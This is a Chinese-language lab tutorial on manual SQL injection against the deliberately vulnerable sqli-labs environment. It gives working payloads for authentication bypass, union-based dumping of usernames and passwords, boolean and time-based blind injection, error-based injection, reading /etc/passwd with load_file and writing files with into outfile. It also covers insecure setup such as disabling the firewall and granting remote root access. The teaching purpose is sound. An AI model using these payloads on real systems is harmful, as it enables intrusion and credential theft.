SQL 手工注入
文章目录
实验环境
- kali Linux 2019.1a
- CentOS 7.6
- sqli-labs
- firefox
- hackbar
0x01 SQL注入概述
1.实验环境
实验环境
名称 | 主机名 | IP地址 |
---|---|---|
kali | fengzilin54.cn | 192.168.37.139 |
测试演练 sqli-labs环境 | fengzilin53.cn | 192.168.37.159 |
0x02 SQL 注入原理
1.基本概述
用户登录的基本SQL语句;
select * from users where username = '用户输入的用户名' and password = '用户输入的密码'
用户输入的内容是可控的,假如我们可以在用户名中,输入'or 1=1 --+
select * from users where username = ''or 1=1 --+' and password = '用户输入的密码'
此时我们输入的第一个单引号将 username 的单引号闭合,相当于输入了一个空用户,or表示左右两边只要有一边条件判断成立则该语句返回结果为真,其中1=1 永远为真,–+ 表示注释,将后面的所有的代码不在执行
我们可以看到上面我们闭合的方法是没有输入用户名的,所以并不能成功登陆
select * from users where username ='admin' or 1=1 --+ 'and password='用户输入端密码'
我们在单引号前面加上用户名表示我们要登陆的用户,这样成功绕过了用户名认证
2.单引号的作用
在提交数据或者 URL 中添加单引号进行提交如果返回 SQL 错误即可判断当前位置存在 SQL 注入漏洞。原因是没有被过滤。
3.SQL 注入流程
- 求闭合字符
- 选择注入模式
- 爆数据库
- 爆表名
- 爆列名
- 爆字段名
4.SQL 注入的基本分类
1.布尔注入:可以根据返回页面判断条件真假的注入;
2.联合注入:可以使用 union 的注入;
3.延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
4.报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
3.常见注入方式分类
数字型 1 or 1=1
字符型 1’ or ‘1’ ='1
0x03 部署 sqli-labs 学习环境
1.sqli-labs 简介
sqli-labs 是一个学习sql注入的一个游戏教程 ,也是一个实验平台
下载地址 https://github.com/Audi-1/sqli-labs
2.部署sqli-labs 实验环境
实验环境:
系统:CentOS 7.6
主机名:fengzilin53
IP地址:192.168.37.159
关闭防火墙并设置开机不启动
[root@localhost ~]# systemctl stop firewalld.service
[root@localhost ~]# systemctl disable firewalld.service
//关闭 selinux
[root@localhost ~]# vim /etc/selinux/config //打开配置文件
将 SELINUX=enforcing 这一项改为 SELINUX=disabled 保存退出
[root@localhost ~]# reboot
[root@localhost ~]# iptables -F //清空防火墙规则
2.1 搭建LAMP 环境
[root@localhost ~]# yum install -y httpd php php-mysql php-gd mariadb-server mariadb
注:php-gd 库:gd 库是 php 处理图形的扩展库,gd 库提供了一系列用来处理图片的 API,使用GD 库可以处理图片,或者生成图片。 在网站上 GD 库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表及验证码。
2.2 检查安装的状态和启动服务
//启动对应服务
[root@localhost ~]# systemctl start httpd
[root@localhost ~]# systemctl start mariadb
//开机启动:
[root@localhost ~]# systemctl enable httpd
[root@localhost ~]# systemctl enable mariadb
//测试 LAMP 环境:
[root@localhost ~]# vim /var/www/html/test.php
<?php
phpinfo();
?>
访问 http://192.168.37.159/test.php
2.3 配置 mysq 数据库 root 用户密码
[root@localhost ~]# mysqladmin -u root password "123456"
[root@localhost ~]# mysql -u root -p123456
MariaDB [(none)]>exit
2.4 安装 sqli-labs 教学环境
使用rz 命令上传到 sqli-labs 到centos 系统上
[root@localhost ~]# rz
上传完成后 将sqli-labs 解压
[root@localhost ~]# unzip sqli-labs-master.zip -d /var/www/html/
[root@localhost html]# mv sqli-labs-master/ /var/www/html/sqli-labs
//修改 sqli-labs 默认运行用户为apache
[root@localhost html]# chown -R apache:apache /var/www/html/sqli-labs/
//修改配置文件权限
[root@localhost html]# vim /var/www/html/sqli-labs/sql-connections/db-creds.inc
修改
$dbpass = '123456' //数据库密码
测试网页访问 http://192.168.37.159/sqli-labs/
点击 setup/reset Database for labs
2.5 创建快照
0x04 安装 hackbar 插件
hackerbar 插件概述:它是一个简单的安全审计,渗透测试工具。此插件将帮助您测试 SQL 注入, XSS 漏洞等安全事项。利用它,可以快速构建一个 http 请求,进行渗透测试
上传 hackbar 插件包到 Kali 系统上
root@fengzilin53:~# unzip hackbar2.1.3-master.zip
注:hackbar插件下载地址https://github.com/HCTYMFF/hackbar2.1.3
root@fengzilin53:~# git clone https://github.com/HCTYMFF/hackbar2.1.3.git
kali 打开 Firefox 浏览器插件
安装成功
0x05 SQLI-LABS教学
访问 http://192.168.37.159/sqli-labs/index.html
1.Less-1
页面的意思
Welcome Dhakkan //欢迎达坎
Please input the ID as parameter with numeric value // 请输入ID作为带数值的参数
在hackbar中输入 http://192.168.37.159/sqli-labs/Less-1/?id=1
参数说明:
? 表示传递参数,通常都是在页面后会有 ?id=数值,这样的方式传递参数给服务器,然后给我们返回参数对应的页面信息,我们发现我们是在/后面直接使用 ? 传递参数,此时参数会传递给默认页面。
实际上在 URL 中传递参数时,相当于在fengzilin53中执行了以下 SQL 语句;
MariaDB [security]> select * from users where id='1';
我们尝试添加一个单引号看一下错误信息
http://192.168.37.159/sqli-labs/Less-1/?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
//您的SQL语法有错误;请检查与您的MariaDB服务器版本相对应的手册,以便在第1行的“1”限制0,1附近使用正确的语法
我们分析一下 报错的 SQL 语句位置
''1'' LIMIT 0,1'
把外面的单引号去掉,那是用来说明报错的SQL语句的位置的
'1'' LIMIT 0,1
我们看到我们输入的 id=1 此时 id 参数已经成功闭合,但是多了一个单引号导致后面的语句执行失败,由此我们可以确认当前位置存在 SQL 注入。原因是我们输入的单引号没有被过滤,成功带入数据库中执行。
扩展
limit 语法
limit [位置偏移量],显示长度
位置偏移量可以理解为跳过前 N 条记录,或从第 N 条记录开始,往后显示 N 条记录。
例1:取出从第0个位置开始,取3条记录;
MariaDB [security]> select * from users limit 0,3;
例2:显示第7条记录
MariaDB [security]> select * from users limit 6,1;
2.闭合方式概述
闭合方式是指开发人员在 SQL 语句中的加在参数变量两边的符号;
在fengzilin53 查看
[root@localhost ~]# vim /var/www/html/sqli-labs/Less-1/index.php
这个SQL语句中的 $id
采用的闭合方式就是单引号。
3.使用 order by 判断表中字段数
ORDER BY 关键词用于对记录集中的数据进行排序
用法1:按某个字段进行排序;
语法:select 字段1,字段2 from 表名 order by 字段名;
例1:order by 用于 MySQL 查询排序(升序)
MariaDB [security]> select * from users order by id;
例2:order by 后面跟上字段名时,是用于排序,默认是升序,如果字段名后跟上 desc 则是降序
如:
MariaDB [security]> select * from users order by id desc;
用法2:按第几个字段进行排序,如果超过查询的字段数,就报错
语法:select 字段1,字段2 from 表名 order by 数字;
例1:按照第 2 个字段 username 进行排序
MariaDB [security]> select * from users order by 2 ;
例2:使用 order by 统计查询的字段数量;
MariaDB [security]> select * from users order by 6;
ERROR 1054 (42S22): Unknown column '6' in 'order clause' -- 错误1054(42S22):“order子句”中的未知列“6”
在实际中可以使用 数字尝试 查字段
在测试:
MariaDB [security]> select username,password from users order by 3; -- 因为order by 匹配规则是按照select的字段数量,来划分的,第一个开始然后最有一个结束
ERROR 1054 (42S22): Unknown column '3' in 'order clause'
MariaDB [security]> select username,password from users order by 2; -- 此时这个输入2就能查询到 password的字段的排序
4.在kali 系统中进行 sql 注入统计字段数量
1.1 打开火狐浏览器,访问:http://192.168.37.159/sqli-labs/Less-1/
2.1 按F12 打开hackbar插件
在 hackbar 命令框中,输入 http://192.168.37.159/sqli-labs/Less-1/?id=1’order by 4 --+
参数解释
?id=1 -- 正常传递参数
' -- 单引号闭合id 字段'
order by 4 -- 判断是否存在4个字段
--+ -- 注释掉后面的SQL语句
查看 web 代码中的 SQL 语句
[root@localhost sqli-labs]# vim /var/www/html/sqli-labs/Less-1/index.php
29 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
1)、原始SQL语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2)、提交的URL
http://192.168.37.159/sqli-labs/Less-1/?id=1’ order by 4 --+
3)、web 服务器收到id的值后组成的SQL语句是
$sql="SELECT * FROM users WHERE id='id=1' order by 4 --+' LIMIT 0,1";
4)、最后在MySQL上真正运行的SQL语句是:
SELECT * FROM users WHERE id='id=1' order by 4;
执行结果
Unknown column '4' in 'order clause'
-- 找不到第四个字段
修改字段数为3
http://192.168.37.159/sqli-labs/Less-1/?id=1'order by 3 --+
正常返回结果,我们可以得出结存存在3个字段
5.常见手动 sql 注入的闭合方式
or 1=1
'or 1=1
"or 1=1
)or 1=1
')or 1=1
") or 1=1
"))or 1=1
具体使用哪种方式取决于 SQL语句使用了什么方式,我们可以在注入点输入 反斜杠 \ 来判断页面使用的哪种闭合方式
\ 表示转义,直接输入 \ 会将字段的闭合方式暴露出来,因为被转义不生效,导致SQL 语句报错,并爆出闭合方式
弹出: ‘1’ LIMIT 0,1 这个错。发现\转义后有一个单引号,说明此 sql 语句基于单引号闭合。
0x06 SQL 注入联合查询-获取数据库数据
将多个select语句结果集纵向联合起来
语法:
select 语句 union [选项] select 语句 union [选项] select 语句
1.爆出字段的显示位置
登录靶机 sqli-labs 靶机中的 MySQL
[root@localhost ~]# mysql -uroot -p123456
MariaDB [(none)]> use security
1.1 将users 表中 id=1 和 users 表中 id=3 两个记录合并到一个表中
MariaDB [security]> select * from users where id=1 union select * from users where id=3;
1.2 在 MySQL 中使用 union 爆出字段
使用单条语句查询
MariaDB [security]> select * from users where id=1;
使用两条语句结合查询
MariaDB [security]> select * from users where id=1 union select 1,2,3;
由此可以看到两条语句结合输出的结果,而 union select 1,2,3 表示,在上一条语句的查询结果中,再输出 1 2 3 到对应的字段中,因此可以利用来做爆出字段的显示位置
接下来使用sqli 注入方式进行爆出字段的显示位置
打开浏览器访问,http://192.168.37.135/sqli-labs/
进入less1
按F12 打开hackbar 输入以下内容
http://192.168.37.135/sqli-labs/Less-1/?id=-1'union select 1,2,3 --+
这里修改了 1一个重要的参数,就是 id=-1 这个值在数据库中是不存在的,原因是程序只返回一个结果,所以我们需要使 union 前面的语句出错才可以让我们后面查询的结果返回。
注入的语句为:
MariaDB [security]> select * from users where id='-1' union select 1,2,3;
2.获取数据库名称
获取数据库函数:database()
主要查询当前数据库名称
使用方法:
MariaDB [security]> select database();
打开浏览器 在hackbar中输入
http://192.168.37.135/sqli-labs/Less-1/?id=-1 ' union select 1,2,database() --+
分析:
1,2,database()
database() 替换了字段3,作用是查询当前数据库名称,其中1,2是为了补充 第一个和第二个字段的显示结果
注入后的语句:
MariaDB [security]> select * from users where id='-1' union select 1,2,database();
数据库名称是 security
扩展:常用函数
version() -- MySQL版本
user() -- 数据库用户名
database() -- 数据库名称
@@datadir -- 数据库路径
@@version_compile_os -- 操作系统版本
3.列出当前数据库中的所有表的名称
5.0以下和5.0以上的区别
-
5.0以下没有 information_schema 这个数据表,只能爆破表
-
5.0以下多用户单操作,5.0以上多用户多操作
查看 information_schema 库中 tables 表名 table_schema 等于 security 的相关信息
3.1 使用Navicat 连接数据库
注:此处只是为了,方便查看information_schema 表中的数据结构
iptables -F -- 清空防火墙规则
MariaDB [(none)]> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION; -- 授权登录
该数据库中表数据结构
查看 TABLES 表中的 字段发现有数据库中的表名
3.2 SQL语句查看information_schema 表
MariaDB [security]> select table_schema,table_name from information_schema.tables where table_schema='security';
注:information_schema 库中的 tables 表的字段解释;
table_schema -- 该字段存储数据库名
table_name -- 该字段存储对应数据中的包括的表名
3.3 使用 group_concat()函数进行SQL注入
group_concat() 函数功能:将where 条件匹配到的多条记录连接成一个字符串
语法: group_concat(str1,str2,…………)
说明:返回结果为连接参数产生的字符串,如果有任何一个参数为 null ,则返回值为null
3.4 使用该函数
使用group_concat(table_name)
将 table_schema='security'
匹配到的 table_name
字段值,连接成一个字符串
MariaDB [security]> select group_concat(table_name) from information_schema.tables where table_schema="security";
使用SQL注入方式进行注入
访问 http://192.168.37.136/sqli-labs/Less-1/
http://192.168.37.136/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查询到了 4个表名称分别是:emails,referers,uagents,users
分析注入流程:
1)原始SQL语句
select * from users where id='$id' limit 0,1;
2)当前SQL语句
select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+' limit 0,1
3)在数据库中执行的 SQL 语句
select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();
注:需要再SQL语句后面添加一个 ;
英文分号,否则执行失败
4.获取 users 表中的字段名
4.1 查看users 表拥有的字段名字
MariaDB [security]> select table_schema,table_name,column_name from information_schema.columns where table_schema=database() and table_name='users';
4.2 使用 group_concat() 将users 表中的字段合成一个字符串
执行 sql 语句 :tables_schema
MariaDB [security]> select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';
4.3 通过 group_concat(column_name) 进行SQL注入
通过sql 注入查询:
http://192.168.37.136/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
成功获取三个字段:id ,username ,password
分析sql 注入流程
1)原始SQL语句
select * from users where id='$id' limit 0,1;
2)当前SQL语句
select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+' limit 0,1
3)在数据库中执行的 SQL 语句
select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users';
5.获取用户名和密码字段中的值
5.1 查看 users 表中的用户名和密码
MariaDB [security]> select username,password from users;
5.2 使用 group_concat(username,password) 将用户名和密码连接成字符串
MariaDB [security]> select group_concat(username,password) from users;
发现用户名和密码连接在一块分不清楚
5.3 使用冒号将用户名和密码分开
MariaDB [security]> select group_concat(username,0x3a,0x3a,password) from users;
已经分隔开了。
5.4 通过 sql 注入获得用户名和密码
http://192.168.37.136/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(username,0x3a,0x3a,password),3 from users --+
分析SQL 注入过程:
1)原始SQL语句
select * from users where id='$id' limit 0,1;
2)当前SQL语句
select * from users where id='-1' union select 1,group_concat(username,0x3a,0x3a,password),3 from users --+' limit 0,1
3)在数据库中执行的sql语句
select * from users where id='-1' union select 1,group_concat(username,0x3a,0x3a,password),3 from users;
5.5 在SQL注入时加入换行符
我们可以在每一个用户名:密码后面添加一个换行符;
HTML 中换行符<hr/>
来表示,但是我们需要转换成 十六进制 0x3C,0x68,0x72,0x2F,0x3E
ASCII 码表 https://tool.ip138.com/ascii_code/
将十六进制的换行符添加到 password 字段后并在后面添加一个逗号
http://192.168.37.136/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(username,0x3a,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+
每一行都是一个账号和密码
0x07 SQL 注入-盲注
1.盲注的原理和分类
Blind SQL(盲注)其实是SQL注入的一种,他不需要根据你注入的攻击语句来返回你想要知道的错误信息,而通常代码中如果屏蔽了报错信息我们就需要使用盲注。
盲注分为两类:
- 布尔盲注 他只会根据返回的 True 和 False,根据结果判断是否和自己输入的值一致从而猜解出完整的数据。
- 时间盲注 界面返回值只有一种 True,无论输入任何值返回情况都会按照正常的来处理,加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
总结:盲注就是构造一个判断条件来逐步的猜解完整的数据信息。
逻辑关系说明(以1为真,0为假进行对比说明):
- 逻辑与:and #两者条件都为真,结果则为真
- 逻辑或:or #其中一者条件为真,结果则为真
2.盲注的流程
1)判断是否存在注入点
2)猜解当前数据库的名称,注:需要先猜解名称的长度
3)猜解当前数据表的名称,注:需要先猜解名称的长度
4)猜解当前数据字段的名称,注:需要先猜解名称的数量
5)猜解数据,注:需要先猜解数据的记录数,在对每个字段的长度和数据进行猜解
从流程中不难看出盲注的核心意义在于 “猜” 那猜解一个范围中的数据最有效的方法是什么?
二分法:我们先取值一个范围 1-100,当我们知道正确的答案就在1-100 其中一个时我们选择 2分法进行快速找到目标数值,我们第一次取值50 判断目标大于 50 还是小于50,大于50 则再从 50-100 中取中间值在进行判断,以此类推
3.基于布尔的盲注
length 函数的使用方法:用于在MySQL中计算字段的长度,一个汉字是算3个字符,一个数字或字符算1个字符
例
MariaDB [security]> select username,password from users where id=1 and (length(database())=8);
由以上的返回结果可以看到可以正常执行。
下面进行SQL注入
Less-8 到 Less 10 都是get 方式的盲注,只是闭合的方式不太一样。
http://192.168.37.136/sqli-labs/Less-8/?id=1' and (length(database())=8) --+
我们通过构造一个判断条件(length(database())=8) 判断目标是否满足条件,满足条件则执行成功,不满足则执行失败。
database()是当前数据库名称
length(database())取出数据库名称的长度
< = > 分别为大于、等于、小于,用来判断是否满足条件。用来猜解。
我们已经知道数据库名称是 security 所以设定条件<=8 都可以正常登录。
猜解 8 个字符的具体数值
http://192.168.37.136/sqli-labs/Less-8/?id=1 ' and(ascii(substr(database(),1,1))>8) --+
substr(database()1,1) 表示取出数据库名称的第一个字符,第一个1表示从第几个字符开始,第二个1表示去几个字符,我们猜解出一个值后就要把第一个值 +1 用来猜解第二个值,
如:
MariaDB [security]> select substr(database(),1,1);
MariaDB [security]> select substr(database(),2,1);
ascii(substr(database(),1,1))>8
将取出的字符转码为 ASCII码,后面的 >8 也是用来判断 ASCII数值的,所以最终取出的结果应该对照 ASCII 表来查找具体是哪个字符
ASCII :http://ascii.911cha.com/
取值范围思路:先使用 <> 大于号小于号确定范围,然后一直缩小范围,当范围缩小到个位数就可以用=号来判断具体的数值。
http://192.168.37.136/sqli-labs/Less-8/?id=1 ' and(ascii(substr(database(),1,1))=115) --+
最终数值 115 对照ASCII 表
二进制 | 十进制 | 十六进制 | 字符 | 解释 |
---|---|---|---|---|
0111 0011 | 115 | 0x73 | s | 小写字母s |
一共有8位 所以要猜8次
结论最终 =(等号)测出来的数据对照 ASCII 表即可得出准确的数据
4.基于时间的盲注
4.1 符合判断条件
在 MySQL中测试一下
MariaDB [security]> select * from users where id=1 and if(ascii(substr(database(),1,1))=115,1,sleep(3));
sleep(3),表示进程休眠 3秒,时间可以任意修改,
在到页面中进行SQL 注入:
http://192.168.37.136/sqli-labs/Less-8/?id=1 ' and if(ascii(substr(database(),1,1))=115,1,sleep(3)) --+
响应时间不到1 秒
语句逻辑分析,当 if()中的条件满足时,则直接返回,如果不满足时,则走sleep,页面的响应时间根据所指时长返回,从而可以判断注入是否执行成功,
4.2 不符合判断条件
在 MySQL 中执行条件不成功的语句:
MariaDB [security]> select * from users where id=1 and if(ascii(substr(database(),1,1))=116,1,sleep(3));
因为条件不成立,因此执行 sleep 所以休眠了 3秒菜返回结果
到页面中进行SQL 注入:
http://192.168.37.136/sqli-labs/Less-8/?id=1 ' and if(ascii(substr(database(),1,1))=116,1,sleep(3)) --+
响应时间超过 3秒
if语句分析:
以 and if(ascii(substr(database(),1,1))=115,1,sleep(3)) 语句分为三段
ascii(substr(database(),1,1))=115 //指定的条件
,1 //表示 if 条件成立后,则执行的内容,这里的执行的内容和语句中的 and 或 or 有很大的关系
sleep(3) //表示 if 条件不成立时执行的内容,sleep() 表示休眠,(3) 休眠时间,秒为单位
实际上就是布尔型的一种,布尔型有多种写法:
and 1=1 简写 and 1
and 1=2 简写 and 0
注意:简写时,只有and 0 为假
MariaDB [security]> select * from users where id=1 and 0;
MariaDB [security]> select * from users where id=1 and 999999;
0x08 基于报错的 SQL 注入
Less-5
Floor 报错分析,该案例需要逐步分析才能充分理解
http://192.168.37.136/sqli-labs/Less-5/?id=0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) fengzilin --+
我们可以看到我们利用 SQL 报错信息输出了我们想要的值,而这个过程时比较复杂的,我们简化一下SQL 语句来方便我们理解
select count(*),(floor(rand(0)*2))x from table group by x;
构建错误的函数说明:
rand()随机函数,返回 0~1 之间的某个值
floor(a)取整函数,返回小于等于 a,且值最接近 a 的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause 分组语句,按照查询结果分组
floor(rand(0)*2)固定返回数值 011011…函数本身并没有错误。
SQL 语句实际演示
MariaDB [security]> select floor(rand(0)*2) from users;
接下里使用 count+group by 时候村则问题了我们知道 count 用来计数,group by 用来分组,此时分组的过程中会建立一张虚拟表,如果分组时如果值不存在则插入 key,count 计数器+1,如果值存在 count 计数器直接+1
第一次查询:floor(rand(0)*2)=011011…
查询第一条数据肯定是不存在的,所以直接插入临时表,key=0,count=1(此时floor(rand(0)*2)
第一次计算)当插入临时表时floor(rand(0)*2)
会被重新计算所以查询第一条数据最终的结果是 key=1,count=1(此时 floor(rand(0)*2)第二次计算)流程如下
第二次查询:floor(rand(0)*2)=011011…
此时我们是第三次计算,所以 key=1 已经存在,所以 count+1=2。
第三次查询:floor(rand(0)*2)=011011…
第四次计算 key=0,表中不存在 0 的主键,所以插入数据,插入数据时 floor(rand(0)*2)重新计算则插入的 key=1,则发生主键冲突。
实际证明当查询到的数据大于等于 3 必定报错。
另一个问题来了,报错和我们 SQL 注入有什么关系呢?
group by 主键冲突报错时会在报错信息中返回 key 和查询内容。
select count(*),(floor(rand(0)*2))x from table group by x;
select count(*),(floor(rand(0)*2))x 将查询的结果传递给 x 然后使用 group by x 进行分组。最终报错输出查询结果。
拓展:报错的核心因素 floor(rand(0)*2)
其中 rand(0)决定了主键是否会冲突,如果值为空则随机产生报错(不可控),如果值为 0 则数据>=3 必然报错,floor(rand(1)*2)=0100011
则不会产生报错因为我们可以看到前 2 次查询中临时表已经存在 0 和 1 的主键,所以我们无论查询多少条数据都不会造成主键冲突
http://192.168.37.136/sqli-labs/Less-5/?id=0'union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)fengzilin --+
x=我们标记红查询的数据,如果把查询数据精简一下和我们简化的SQL语句基本一致
数据库中执行查看结果
select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)fengzilin;
语句最后的fengzilin表示给临时表取个名字可以直接写名字也可以使用 as fengzilin
0x09 SQL 注入读写文件
1.SQL 注入读取 /etc/passwd 文件
在MySQL 中读取文件,使用 load_file(“文件路径/名称”)
MariaDB [security]> select * from users where id=-1 union select 1,load_file("/etc/passwd"),3\G;
访问到 Less-1 页面 :http://192.168.37.136/sqli-labs/Less-1/
http://192.168.37.136/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3 --+
使用 union 联合查询,在可输出位置执行 load_file 函数来读取文件
2.SQL 注入写入文件
into outfile 语句用于吧表数据导出到一个文本文件中
用法:select * from Table into outfile '/路径/文件名'
例
MariaDB [security]> select * from users into outfile "/var/lib/mysql/fengzilin.txt";
打开另一终端查看导入的文件:
[root@localhost ~]# cat /var/lib/mysql/fengzilin.txt
可以看到把以上查询 users 表中的内容保存到文件中,由此我们可以利用此方法通过 SQL 注入向系统写入文件
访问 Less-7 页面http://192.168.37.136/sqli-labs/Less-7/
http://192.168.37.136/sqli-labs/Less-7/?id=-1')) union select 1,2'fengzilin' into outfile "/var/lib/mysql/fengzilin.php" --+
提示SQL语法错误不过 SQL 语句我们已经执行成功了,
到靶机上查看文件内容:
[root@localhost ~]# cat /var/lib/mysql/xuegod.php
1 2 fengzilin
使用 select 1,2 fengzilin into outfile 以逗号分隔字段的方式将数据导入到一个文件中,实际利用select 查询到的内容为 1,2 fengzilin 在写入到系统文件